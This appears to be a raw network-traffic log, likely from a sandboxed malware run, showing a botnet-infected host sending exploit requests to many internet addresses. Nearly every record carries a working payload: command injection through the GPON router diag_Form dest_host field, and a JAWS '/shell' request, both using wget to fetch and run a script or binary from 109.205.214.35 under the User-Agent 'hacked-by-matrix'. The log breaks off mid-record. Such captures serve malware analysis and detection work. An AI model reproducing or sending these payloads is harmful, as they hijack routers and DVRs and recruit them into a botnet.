Mar 21, 2024 05:25:27.033138990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.23	33576	109.35.82.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.040930986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.23	38830	178.33.61.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.040952921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.23	52092	210.36.135.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.040963888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.23	35150	37.170.60.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.040966034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.23	60590	178.36.34.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.040991068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.23	54716	2.125.73.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.040990114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.23	39234	5.150.78.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.040992022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.23	37598	37.60.80.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.041002989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.23	48078	94.22.149.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.041070938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.23	52000	37.127.110.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.041098118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.23	33162	79.73.146.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.041110039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.23	56846	23.102.39.67	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.130629063 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:30.286948919 CET	459	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Date: Thu, 21 Mar 2024 04:25:29 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.23	52396	185.246.18.254	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.469602108 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.23	60178	52.43.75.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.469631910 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:30.646914005 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.0 Date: Thu, 21 Mar 2024 04:25:30 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.23	36358	2.37.157.65	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:30.571767092 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:30.852271080 CET	600	IN	Data Raw: 55 4e 4b 4e 4f 57 4e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 35 3a 33 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 Data Ascii: UNKNOWN 400 Bad RequestServer: Date: Thu, 21 Mar 2024 04:25:30 GMTCache-Control: no-cache,no-store,max-age=0Prama: no-cacheX-Frame-Options: DENYExpires: 0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockContent-S

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.23	36364	2.37.157.65	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:31.152283907 CET	600	IN	Data Raw: 55 4e 4b 4e 4f 57 4e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 35 3a 33 31 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 Data Ascii: UNKNOWN 400 Bad RequestServer: Date: Thu, 21 Mar 2024 04:25:31 GMTCache-Control: no-cache,no-store,max-age=0Prama: no-cacheX-Frame-Options: DENYExpires: 0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockContent-S

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.23	41010	109.220.131.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:33.049352884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.23	57752	37.97.118.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:33.049381018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.23	60602	66.96.147.195	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:35.984333992 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:40.149802923 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:40.278146982 CET	1	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.23	48432	42.242.41.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:36.056329012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.23	35124	109.202.103.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:36.056329012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.23	43280	5.186.82.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:36.056349993 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.23	34078	79.162.245.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:36.056360960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.23	48740	5.171.253.215	443

Timestamp	Bytes transferred	Direction	Data
